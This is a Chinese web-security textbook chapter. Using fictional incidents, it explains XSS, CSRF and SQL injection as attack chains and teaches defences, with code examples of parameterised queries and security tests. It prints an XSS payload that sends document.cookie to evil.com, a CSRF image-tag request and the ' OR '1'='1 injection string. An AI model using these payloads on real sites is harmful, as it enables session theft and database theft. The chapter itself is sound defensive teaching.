第 19 章 Web 安全
副题:攻击链——攻击者利用的是业务逻辑的漏洞,不是"黑客魔法"
测试只能确认"我们以为对的是对的"——**如果攻击者看到的东西和我们看到的不一样呢?**商业化引来了攻击者:XSS 偷 Cookie、CSRF 替用户下单、SQL 注入拖库。之前我们说过"信任模型必须从第一行代码就假设对方不怀好意",本章就教你看懂攻击,然后断掉攻击链。
分工地图(继续):16 性能管"快"、17 交易管"对"、18 测试管"稳"、本章(19)管"防"——把"对"和"稳"守住:攻击者看到的东西,不能和我们看到的不一样(第 20 章质量管"久",快对稳防久就齐了)。
本章要建立的认知
- 攻击是链,不是魔法:攻击面 → 注入点 → payload → 后果——每一类攻击都是一条链,防御就是断链;
- 三类最常见的攻击(XSS/CSRF/SQL 注入)都利用业务逻辑的漏洞:不转义、不校验、拼字符串——修复它们是"默认安全"的日常;
- 安全是持续过程不是一次性修复:攻击手段永远在进化,安全审查、安全测试、漏洞响应是常态工作。
19.1 商业化引来攻击者
阶段 3 的第二个月,三起攻击事故接踵而至。交易功能上线后,账号里有了钱,攻击者就跟着来了。
事故一:老周的账号被盗。 他收到一条私信,点开"精彩内容"链接。页面正常加载,但登录态已经被偷走——攻击者在评论区发了一段带脚本的内容,脚本在浏览器里执行,读走了 Cookie 里的 session_id,发到攻击者服务器。对方拿着这个凭证直接登录了老周账号。之前说过凭证会被偷,XSS 是偷的方式之一,现在成真了。
事故二:小明被"替"下了一单。 他在论坛看到"相机 9 成新 500 元"的帖子,点开看了看,什么都没买。十分钟后收到扣款短信——他浏览攻击者页面时,页面悄悄向案例网站发了 POST /v1/orders 请求,浏览器自动带上了小明的 Cookie,服务端验凭证通过。攻击者没偷密码,他借了小明的身份自己下单。
事故三:内容库被拖了。 攻击者在搜索框输入 ' OR '1'='1,列表接口返回了全部内容,包括未发布的和用户表数据。搜索功能的 SQL 是字符串拼接的,攻击者输入的引号"闭合"了原 SQL,把查询变成了"查询一切"。
三起事故,三个共同点:
第一,都不是"黑客魔法"。 XSS 是利用"页面不转义用户输入",CSRF 是利用"Cookie 自动携带",注入是利用"SQL 字符串拼接"——全是业务代码的漏洞,不是天外飞仙。
第二,都是商业化之后才发生。 内容社区时期攻击者没兴趣,偷个账号没价值;交易上线后,账号等于钱、订单等于钱——攻击者跟着钱走。
第三,防御不是"多加几道锁",是把攻击链看懂,然后断掉。
安全测试与功能测试的根本不同
这三起事故在功能测试里都测不出来。功能测试给正常输入断言正常输出,而三起事故都是"恶意输入 + 异常输出"。
功能测试问的是:"输入 X,输出 Y 吗?" 安全测试问的是:"输入 X,会不会输出不该输出的东西?"
从"确认对的"到"确认不泄露",这是安全章给测试体系的补充。
发现路径的残酷现实
三起事故,没有一起是监控先发现的:
- XSS:老周自己发现"账号好像被盗了"
- CSRF:小明收到扣款短信才发现
- 注入:攻击者拖库后主动联系勒索才暴露
安全漏洞的生命周期是开洞→被发现,不是开洞→被修复。你发现漏洞的路径,通常不是攻击者的路径——攻击者悄悄地来,你最后才知道。
处置:止血 → 修复 → 补测试
和第 18 章功能事故的处置是同一套流程:
- 止血:XSS 先下线评论渲染、CSRF 先给下单接口加 Token、注入先停搜索——每条攻击链先断一环
- 修复:转义、Token、参数化全部到位
- 补测试:恶意输入测试进测试体系
修复纪律:按攻击面修,不按事故现场修。 XSS 不是只改评论区——所有用户输入的输出点都要查:评论区、私信、昵称、商品描述。攻击者会换一个输出点再来。事故在哪发现,攻击面就在哪排查。
19.2 攻击链:攻击者的思维方式
三起事故背后的思维方式是同一个:攻击者不把系统当"功能"看,他把它当"输入输出"看。 每个输入点都是机会,每个输出点都是通道。
把这种思维结构化,就是攻击链:
攻击面(哪里能输入)→ 注入点(怎么送进去)→ payload(送什么)→ 后果(拿到什么)
用攻击链把三起事故拆开:
| 事故 | 攻击面 | 注入点 | payload | 后果 |
|---|---|---|---|---|
| XSS 偷 Cookie | 评论/内容输入框 | 内容不转义直接渲染 | <script>fetch(偷Cookie)</script> | 拿到老周的 session_id |
| CSRF 替下单 | 任何能放链接的页面 | 下单接口只认 Cookie 不认来源 | 自动发出的 POST 请求 | 替小明下单 |
| SQL 注入拖库 | 搜索/筛选参数 | SQL 字符串拼接 | ' OR '1'='1 | 拖走整个内容库 |
攻击链的价值:它告诉你防御在哪一环下手。
每一环都可以断:
- 攻击面收窄——输入校验
- 注入点堵住——转义、参数化
- payload 失效——CSP 让脚本不执行
- 后果兜底——最小权限
防御不是"挡住攻击者"这种模糊目标,是"断掉链上某一环"这种具体动作。 堵注入点是代码层(转义/参数化),失效 payload 是平台层(CSP/浏览器默认),兜底是配置层(最小权限)。
攻击者画像:不是电影里的天才黑客,是批量作业的生意人。
他用自动化工具扫所有网站——撞库、扫接口、批量注入。你的系统不是被"针对",是被"扫到"。
这个认知决定防御形态:
- 防"扫描能发现的东西"——参数化、转义、Token 都是"扫不到"的
- 攻击是概率事件——被扫到的概率 × 漏洞存在概率 × 漏洞价值。交易数据价值高,被扫到就认真打
攻击者的成本低到可以批量,我们的防御必须机制化。
安全领域的共同语言:OWASP Top 10。
开放 Web 应用安全项目每几年发布的最常见漏洞清单,XSS、注入都在榜上。本章讲的是 Top 10 里最常遇到的三个,剩下的(不安全的反序列化、日志泄露等)原理相同——都是业务逻辑的漏洞。 清单会更新,攻击链的模型不变。
攻击面清单(审查表的输入):
- 输入点:表单、参数、上传、搜索框
- 输出点:页面渲染、接口返回、日志
- 身份点:登录、注册、密码重置
- 集成点:支付回调、第三方登录
每新增一个输入点,攻击面就大一圈。 新功能评审时问"这个新输入点有没有对应的防御",就是第 4 章"复杂度预算"在安全上的版本——功能在长,攻击面也在长,防御要跟着长。
攻击者成本低,防御成本高。 攻击者只需要找到一个漏洞,我们要防住所有漏洞。所以防御不能靠"仔细",要靠机制。
19.3 XSS:偷 Cookie 的脚本
事故一的 XSS 攻击链
攻击面:评论区(谁都能发内容)
↓
注入点:内容不转义,直接渲染成 HTML
↓
payload:<script>new Image().src='https://evil.com/'+document.cookie</script>
↓
后果:老周的 session_id 被发到攻击者服务器 → 凭证被盗 → 账号被接管
XSS(跨站脚本)的本质:用户的输入被当成了代码执行。 攻击者输入的 <script> 标签,浏览器没有把它当文本显示,而是当程序执行了。
两个前提缺一不可:① 输入没被转义;② 输出位置在可执行上下文里(HTML 会被解析,纯文本节点不会)。
XSS 的三种形态,防御逻辑相同,但注入点不同:
| 形态 | 注入点 | 特点 |
|---|---|---|
| 存储型 | 服务端数据库(评论区、私信) | payload 存进服务器,所有浏览者受害 |
| 反射型 | URL 参数 | 页面把参数直接反射出来,点链接就触发 |
| DOM 型 | 前端代码 | 不经过服务器,纯前端拼接 HTML 时触发 |
三种形态防御手段一样:转义 + CSP。区分它们是为了排查"注入点到底在哪"。
后果分级:
- 偷 Cookie:最常见,直接接管登录态
- 偷页面内容:表单密码、私信内容
- 替用户操作:在用户会话里发帖、下单——和 CSRF 殊途同归
XSS 是"在用户的浏览器里跑攻击者的代码"。 用户看到的是正常页面,攻击者拿到的是用户的全部权限。
防御:断链的两道门
第一道门:转义(断注入点)
所有用户输入在渲染成页面时,必须把 <、> 等特殊字符转成文本实体(<、>),让输入永远只是"数据",不是"代码"。
前端框架(React/Vue)默认就转义——第 9 章说框架"内建常见问题的答案",转义就是安全版的答案。主动绕过默认转义的写法(v-html、innerHTML)是 XSS 的头号入口,用它们时必须额外审查。
转义是上下文相关的: HTML 里的转义和 JS 里的转义不是同一套。把用户输入拼进 <script> 标签或 onclick="..." 时,框架的默认转义管不到——这些逃逸点是审查重点。
第二道门:CSP(断 payload)
Content Security Policy,一个响应头,声明"页面只能执行自己域名的脚本":
Content-Security-Policy: default-src 'self'
即使攻击者的脚本被插进了页面,浏览器也会拒绝执行——来源不在白名单里。
纵深防御的形态:转义是第一道门,CSP 是第二道门。漏一道,还有一道。
第三道门:HttpOnly(断后果)
Cookie 里的凭证是盗号攻击的目标。XSS 事故后,案例加了一条——HttpOnly Cookie:
Set-Cookie: session_id=xxx; HttpOnly
浏览器 JS 读不到这个 Cookie(document.cookie 返回空),XSS 偷 Cookie 的前提被堵死。最值钱的凭证偷不到了。
但 HttpOnly 不是终点。XSS 还能偷页面内容、替用户操作——这些要靠权限检查和 Token 兜底。防御是叠起来的,不是选一个。
安全事件的处理流程(把事故变成机制):
发现(敌人/用户/监控)→ 评估(影响面:哪些用户、哪些数据)→ 修复(断链)→ 通知(老周账号被盗,要告知并重置凭证)→ 复盘(防御链哪一环没断)
安全事件的处理是流程,不是英雄主义。 流程的意义是:下次同类事件,不用重新发明处置办法。
19.4 CSRF:借用户的手
事故二的 CSRF 攻击链
攻击面:攻击者页面(论坛帖子、邮件、任何能诱导点击的地方)
↓
注入点:浏览器自动携带 Cookie——请求"看起来"来自小明本人
↓
payload:<img src="https://api.example.com/v1/orders?...">(图片自动发 GET)
或隐藏的自动提交表单(POST)
↓
后果:替小明下单——借了小明的身份,不需要小明的密码
CSRF(跨站请求伪造)的本质:攻击者借了用户的浏览器。 请求确实是从小明的浏览器发出的,带着小明的 Cookie,服务端验凭证也通过。唯一的问题是——这个请求不是小明主动点的,是攻击者的页面替他发的。
两个前提缺一不可:① 浏览器自动携带 Cookie(第 13 章说过的便利,在这里成了弱点);② 服务端无法区分"用户自己点的"和"被诱导发的"。
CSRF 只打已登录的人。 没有有效 Cookie,请求发出去也是白搭。所以攻击者专门瞄准登录状态的用户,诱导他们访问攻击页面。这也解释了为什么登录态越久,CSRF 的窗口越大。
GET 不应该有副作用。 CSRF 能得手,一半是因为有人用 GET 干了改数据的活——比如 GET /v1/orders?buy=1。图片标签 <img src="https://api.example.com/v1/orders?buy=1"> 加载时就会自动发出这个 GET 请求,19.1 的事故二就是这么得手的。用对 HTTP 方法本身就是一层防御(第 7 章的方法语义):`
防御分两层:
第一层:让攻击者的请求带不上正确凭证。
- CSRF Token:服务端在页面里埋一个一次性随机 Token,表单提交时带上。攻击者的页面读不到本站的 Token(跨域限制),请求里没有 Token,服务端直接拒绝。
- 同源校验:检查请求的
Origin或Referer头,不是本站页面发起的,拒绝。
第二层:浏览器默认挡一道。
现代浏览器的 SameSite=Lax(Cookie 的默认属性)会阻止跨站请求自动携带 Cookie——攻击者页面的请求不再带得上本站的登录态,CSRF 的"借身份"前提直接消失。
但 SameSite 是浏览器的默认保护,不是服务的承诺。老浏览器、特殊场景还会漏,所以 Token 校验仍然是必做的。
CORS 和 CSRF 是两件事
- CORS 管"能不能读响应"——跨域能不能拿到返回的数据
- CSRF 管"请求会不会被发出"——跨域能不能伪造请求
一个管读,一个管写,都是浏览器安全模型的部件,但解决的是不同层面的问题。
最后收一句登录接口的防护。
第 13 章说过"账号不存在和密码错误返回同一个错误",这是防枚举的第一层。第二层是限流——登录接口每秒最多 N 次。撞库工具每秒试几百个密码,限流让它每秒只能试几个,暴力破解的成本就被抬高了。
19.5 SQL 注入:拼接的代价
事故三的 SQL 注入攻击链
攻击面:搜索框、筛选参数(任何进入 SQL 的用户输入)
↓
注入点:SQL 字符串拼接
↓
payload:' OR '1'='1(闭合引号,让 WHERE 条件恒真)
↓
后果:查询条件失效 → 拖走整个表
SQL 注入的本质:用户的输入被当成了 SQL 的一部分。 和 XSS 是同一个病——输入被当成代码执行——只是执行环境从浏览器换成了数据库。
错误写法 vs 正确写法
// 错误:字符串拼接
db.query(`SELECT * FROM content WHERE title LIKE '%${keyword}%'`);
// 攻击者输入:' OR '1'='1
// 实际执行:SELECT * FROM content WHERE title LIKE '%' OR '1'='1%'
// → 恒真 → 返回所有行
// 正确:参数化查询
db.query('SELECT * FROM content WHERE title LIKE ?', [`%${keyword}%`]);
参数化的原理: SQL 模板和参数分开传。数据库先编译模板(? 只是占位符),再把参数当数据填入。攻击者的引号永远只是字符串里的引号,不会变成 SQL 语法。
第 12 章说过,数据访问层看查询注入——主角就是这一行。 所有 SQL 必须参数化,是数据访问层的铁律。ORM 默认参数化,手写 SQL 是注入的高发区。
两个新手最容易踩的坑:
- "转义后再拼接":转义规则总有漏网之鱼,参数化是"根本不拼",比"仔细地拼"安全一个量级
- "存储过程里拼接":把参数拼进存储过程内部的 SQL,一样是拼
判断标准一句话:输入有没有经过"编译"这一步。 用了占位符就是安全的,直接拼进字符串就是入口。
注入的家族
SQL 注入只是最大的一支。同族还有:
- 命令注入:输入进系统命令
- 模板注入:输入进模板引擎
同一个病,同一个药: 永远不要把输入拼进"会被执行的东西"。参数化、转义,二选一。
怎么发现被注入了?
靠慢查询日志和可观测性:
- 异常 SQL:注入 payload 特征明显(恒真的 WHERE、奇怪的引号)
- 报错信息:错误细节漏进响应,等于免费的数据库地图
- 数据异常:拖库后数据量、权限出现反常
审计是安全的"事后诸葛亮"。 防线被突破了,审计告诉你"怎么被突破的、影响多大"。安全事件必须留日志:谁、什么时候、做了什么。日志还要写到攻击者删不到的地方——没有审计的安全,是不知道有没有被攻击的安全。
最小权限:防不住就限伤害
应用数据库账号只给必要的权限:没有 DROP,没有跨库读取。即使注入发生了,拖走的也只是这一个库的一小部分。 最小权限是后果环节的断链——防不住注入,就限制伤害半径。
越权枚举:输入校验的另一个形态
之前提到过"账号不存在和密码错误返回同一个错误"——这是防输入枚举。同类还有越权枚举:
攻击者遍历 ID 拿别人的数据:/v1/orders/1、/v1/orders/2……
防御在第 13 章的业务层授权检查:getOrder(userId, orderId) 先查订单属于谁,不是本人就返回 403。资源级权限和接口级权限是两件事,漏了前者,遍历就是拖库。
最后一个小权衡:返回 404 还是 403?
- 404:更安全,不泄露"这个订单存在"
- 403:更清晰,用户知道是权限问题
安全与体验的权衡,在状态码上也有一次。
19.6 默认安全与安全审查按层
三类攻击讲完,收成一条原则和一张检查表。
原则:默认安全(secure by default)。
不安全的状态应该是"例外",不是"默认"。框架默认转义(XSS)、表单默认带 Token(CSRF)、查询默认参数化(注入)、接口默认拒绝(权限)——人总会忘,默认值不会。 每一项防御都应该是"默认开着,主动关掉才不安全",而不是"默认没有,记得加才安全"。
顺序错了,就会产生真正的漏洞:
案例一:错误处理放错位置。 异常处理写在路由之前,数据库报错(带表结构信息)直接漏进响应。攻击者用这个接口免费探测表结构。修法:错误处理必须在管道最后,对外只返回通用格式(code/message/request_id),内部细节只进日志,不进响应。
案例二:鉴权挂错位置。 新接口的路由挂在鉴权中间件之前,没登录也能调。修法:默认挂鉴权,公开接口显式豁免——"默认挂"就是默认安全在中间件上的形态。
配置层还有两条:debug 模式不上生产(调试信息是攻击者的地图),错误详情只进日志(响应给通用格式,细节进日志)。生产环境的默认值,本身就是一份安全清单。
安全审查按层:
| 层 | 查什么 | 防什么 |
|---|---|---|
| 表现层 | 输入校验、输出转义 | 注入、XSS |
| 中间件 | 鉴权、限流、CORS、Token | 越权、DDoS、CSRF |
| 业务层 | 授权规则(谁能发/删/看) | 越权枚举 |
| 数据访问层 | 参数化查询(有无拼接 SQL) | SQL 注入 |
分层不只是组织代码,是组织防御。每一层的漏洞,在这一层的检查表里有它的位置。
审查节奏:
- 每次代码评审过四问:参数校验了吗?挂鉴权了吗?授权查了吗?参数化了吗?测试是评审的检查单,安全表是第二张单
- 每轮迭代做一次安全走查:有没有新的输入点?攻击链四环节过一遍
安全审查不是安全专家的专属,是评审流程的一部分。
最后加一行:依赖审计。
攻击面不只在你的代码里——第三方库也是攻击面。 上游库被投毒(供应链攻击),下游一起中招。依赖清单要审:来源可不可信、版本跟不跟得上(停更的库是持续暴露的洞)、有没有已知漏洞。依赖是代码的"外债",债要审,利息要盯。
19.7 攻击视角的测试
安全测试的测法与功能测试不同——不是给正常输入断言正常输出,而是给恶意输入断言"被挡住"。
安全测试分两种形态:
第一种:恶意输入测试(自动化,进测试体系)。
把攻击 payload 当测试输入,断言系统把它挡在门外:
- 单元层:测转义函数、参数化封装——输入
<script>,输出是不是<script> - 集成层:测真实接口遇到恶意请求时,是不是返回 400/空数据,而不是泄露信息
// 集成层:恶意输入断言"被挡住"
it('XSS payload 不执行', async () => {
const res = await api.get('/v1/contents/10');
// 转义后应该是文本,不是标签
expect(res.data.body).not.toContain('<script>');
});
it('SQL 注入 payload 返回空而不是全部数据', async () => {
const res = await api.get('/v1/contents?keyword=' + encodeURIComponent("' OR '1'='1"));
// 参数化后它只是普通搜索词,不该返回全表
expect(res.data.items.length).toBe(0);
});
每个输入点都要配一套 payload 库:
- XSS:
<script>、<img onerror>、事件属性 - 注入:引号、恒真式、注释符
- 越权:遍历 ID(1、2、3……)
- 边界:超长输入、特殊字符、编码绕过(
%22、Unicode)
安全测试的用例和功能测试一样,都是对承诺的验证——"恶意输入被挡住"就是承诺。
第二种:渗透测试(人工/半自动,周期性)。
模拟攻击者真的去打。用攻击链的四个环节过一遍系统:有哪些入口?注入点有没有漏网?能不能把可疑点变成真正的攻击?
自动化测试和渗透测试的分工:
- 自动化管"已知的漏洞不复发"
- 渗透管"未知的漏洞是否存在"
渗透测试不是玄学,是攻击链的手工版:
- 信息收集:系统有哪些入口(公开接口、后台、第三方集成)
- 逐点试探:对每个输入点试一遍 payload 库
- 深入利用:找到可疑点后,尝试把它变成真正的攻击
防御方用攻击链来断链,测试方用攻击链来找链——同一个模型,两个方向。
什么时候做?
- 每次上线前:跑恶意输入测试
- 每个季度:做一次渗透测试(找新漏洞)
- 每次安全事件后:补测试——事故就是漏掉的防御承诺
边界:自动化测试只能覆盖已知的攻击形态。
明天出现的新型绕过,今天的测试库测不到。这是渗透测试和安全社区(公告、漏洞追踪)存在的理由。安全测试不是测一次就完,是跟着攻击形态持续进化。
19.8 安全投入的决策:体验 vs 安全
每道防御都有成本。 验证码防自动化攻击,代价是用户体验(多一步输入);审计日志有存储成本;HttpOnly 和转义代价极小。全部防御都上不是答案,安全也有预算。
安全要投入多少成本,怎么分配?这个问题我们同样可以通过决策模型来回答:
业务目标:用户数据和资金安全。 约束:阶段 3 交易刚上线,攻击者开始出现,用户体验是增长关键。 技术问题:安全投入怎么分配?哪些必做,哪些可以后置? 候选:A 全上(验证码、双因素、加密、审计);B 机制必做 + 体验后置;C 只做出事的地方(被动响应)。 评价维度:风险、成本、时机。 选择:B。机制类防御(转义、参数化、Token、HttpOnly、最小权限)零体验成本,必做;体验类防御(验证码、双因素)等攻击者真来了再上。 收益:机制防线全部到位,三起事故的链都断了,体验零损伤。 代价与演进:后置意味着"窗口期"——攻击者可能在这期间用自动化攻击。演进条件:自动化攻击信号出现,立即补验证码/限流。
决策记录再添一行:安全 = 机制必做 + 体验后置,演进条件 = 自动化攻击信号出现。
窗口期怎么管?后置不是遗忘,是挂了监控等信号。
信号清单:
- 同一 IP 大量登录失败 → 撞库,触发登录限流
- 同一设备大量新账号 → 批量注册,触发注册验证码
- 高频小金额下单 → 异常下单,触发下单风控
后置的防御要有触发开关,开关的传感器就是监控。决策记录里的演进条件,在这里变成监控告警的配置项。
体验类防御的具体形态:
- 验证码(图形/滑块):让自动化工具失效。代价是多一步输入。不是全站加,先给高风险操作(登录、下单)加。
- 双因素认证(密码 + 短信):账号被盗的第二道锁。先给"能改支付信息"的高权限操作加,不是所有人都要。
密钥管理回顾:
- 不写进代码/仓库 → 走环境变量或密钥服务
- 定期轮换 → 泄露的损失有时间上限
- 不同环境用不同密钥 → 测试密钥泄露不影响生产
密钥是安全链上最值钱的一环,也是最常被随手放的一环。
安全是持续过程,不是一次性修复。
"安全手段的部署永远落后于攻击手段"——这是规律。常态是:
- 安全审查每次评审都过一遍
- 安全测试每次上线跑一遍
- 新攻击形态出现时补防御
和第 18 章的承诺体系一样,安全是其中一份承诺,需要日常维护。
攻击者视角的最后一课:
"假设对方不怀好意"不是心态,是设计原则。 默认安全、最小权限、审查按层——设计上假设攻击者存在,攻击者来了才不会慌。
19.9 本章对应表
| 业务诉求 | 技术选择 | 为什么 | 代价/取舍 |
|---|---|---|---|
| 账号不被偷(XSS) | 转义 + CSP + HttpOnly | 输入不当代码执行,断链两环+凭证不可读 | CSP 配置有学习成本 |
| 不被替下单(CSRF) | 方法语义 + Token/同源校验 | 请求"看起来"是本人,校验"来自本站" | Token 要维护(会话相关) |
| 数据库不被拖(SQL 注入) | 参数化查询(铁律) | 输入永远只是数据,不是 SQL 的一部分 | ORM 默认做了,手写 SQL 要自查 |
| 漏洞要系统性地找 | 安全审查按层(19.6 检查表) | 分层=组织防御,每层漏洞有位置 | 评审要多看一张表 |
| 防御不能被绕过 | 默认安全(默认转义/Token/参数化/拒绝) | 人总会忘,默认值不会 | 框架配置要按"默认开"设 |
| 恶意输入要挡住 | 攻击视角测试(恶意输入断言) | 第 18 章边界兑现:断言"被挡住" | 渗透测试周期性投入 |
| 安全投入多少 | 决策模型(机制必做+体验后置) | 体验 vs 安全的权衡 | 体验类防御后置有窗口期 |
本章小结
- 攻击是链,不是魔法:攻击面 → 注入点 → payload → 后果——看懂链,才能断链;
- 三类攻击(XSS/CSRF/注入)都利用业务逻辑的漏洞——防御是"默认安全"的日常;
- 安全审查按层、安全测试进体系、投入走九步——安全是持续过程,和测试一样是承诺的日常;
下一章
攻击者挡在了门外:三条链都断了,机制类防御全部到位。但安全章结尾的问题来了——"每道防御都要有人维护,谁来维护?"
阶段 3 结束,团队开始变大:开发者不再单打独斗,来了两个新同事。代码库在长、接口在长、防线在长——一个人写得动,三个人改不动——协作的问题来了。
下一章就是代码质量与协作,进入阶段 4——Git 工作流、Code Review、技术债,我们一起探讨团队如何守住业务质量。